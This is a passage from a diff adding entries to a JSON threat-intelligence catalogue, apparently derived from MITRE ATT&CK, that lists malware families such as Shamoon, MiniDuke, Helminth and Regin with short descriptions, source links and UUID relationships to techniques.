{ + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "value": "Shamoon - S0140" + }, + { + "description": "[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)", + "meta": { + "external_id": "S0041", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0041", + "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" + ], + "synonyms": [ + "Wiper" + ] + }, + "related": [ + { + "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a19c49aa-36fe-4c05-b817-23e1c7a7d085", + "value": "Wiper - S0041" + }, + { + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)", + "meta": { + "external_id": "S0051", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0051", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + ], + "synonyms": [ + "MiniDuke" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "value": "MiniDuke - S0051" + }, + { + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)", + "meta": { + "external_id": "S0150", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0150", + "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + ], + "synonyms": [ + "POSHSPY" + ] + }, + "related": [ + { + "dest-uuid": "6e45f758-7bd9-44b8-a21c-7309614ae176", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4df1b257-c242-46b0-b120-591430066b6f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808", + "value": "POSHSPY - S0150" + }, + { + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since 2009 to attack targets in East Asia. (Citation: Moran 2013)", + "meta": { + "external_id": "S0015", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0015", + "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + ], + "synonyms": [ + "Ixeshe" + ] + }, + "related": [ + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "value": "Ixeshe - S0015" + }, + { + "description": "[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)", + "meta": { + "external_id": "S0061", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0061", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "synonyms": [ + "HDoor", + "Custom HDoor" + ] + }, + "related": [ + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "value": "HDoor - S0061" + }, + { + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)", + "meta": { + "external_id": "S0017", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0017", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "synonyms": [ + "BISCUIT" + ] + }, + "related": [ + { + "dest-uuid": "f1e05a12-ca50-41ab-a963-d7df5bcb141d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda", + "value": "BISCUIT - S0017" + }, + { + "description": "[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)", + "meta": { + "external_id": "S0170", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0170", + "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + ], + "synonyms": [ + "Helminth" + ] + }, + "related": [ + { + "dest-uuid": "19d89300-ff97-4281-ac42-76542e744092", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "eff1a885-6f90-42a1-901f-eef6e7a1905e", + "value": "Helminth - S0170" + }, + { + "description": "[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)", + "meta": { + "external_id": "S0071", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0071", + "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + ], + "synonyms": [ + "hcdLoader" + ] + }, + "related": [ + { + "dest-uuid": "12bb8f4f-af29-49a0-8c2c-d28468f28fd8", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e", + "value": "hcdLoader - S0071" + }, + { + "description": "[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)", + "meta": { + "external_id": "S0081", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0081", + "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + ], + "synonyms": [ + "Elise", + "BKDR_ESILE", + "Page" + ] + }, + "related": [ + { + "dest-uuid": "d70fd29d-590e-4ed5-b72f-6ce0142019c6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3477a25d-e04b-475e-8330-39f66c10cc01", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913", + "value": "Elise - S0081" + }, + { + "description": "[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)", + "meta": { + "external_id": "S0018", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0018", + "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments", + "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + ], + "synonyms": [ + "Sykipot" + ] + }, + "related": [ + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "value": "Sykipot - S0018" + }, + { + "description": "[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)", + "meta": { + "external_id": "S0180", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0180", + "https://www.us-cert.gov/ncas/alerts/TA17-318B", + "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF", + "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + ], + "synonyms": [ + "Volgmer" + ] + }, + "related": [ + { + "dest-uuid": "0a52e73b-d7e9-45ae-9bda-46568f753931", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "bbfd4fb4-3e5a-43bf-b4bb-eaf5ef4fb25f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "value": "Volgmer - S0180" + }, + { + "description": "[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", + "meta": { + "external_id": "S0091", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0091", + "https://securelist.com/the-epic-turla-operation/65545/" + ], + "synonyms": [ + "Epic", + "Tavdig", + "Wipbot", + "WorldCupSec", + "TadjMakhal" + ] + }, + "related": [ + { + "dest-uuid": "36c0faf0-428e-4e7f-93c5-824bb0495ac9", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "6b6cf608-cc2c-40d7-8500-afca3e35e7e4", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6b62e336-176f-417b-856a-8552dd8c44e1", + "value": "Epic - S0091" + }, + { + "description": "[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)", + "meta": { + "external_id": "S0019", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0019", + "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + ], + "synonyms": [ + "Regin" + ] + }, + "related": [ + { + "dest-uuid": "0cf21558-1217-4d36-9536-2919cfd44825", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4cbe9373-6b5e-42d0-9750-e0b7fc0d58bb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "value": "Regin - S0019" + }, + { + "description": "[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, 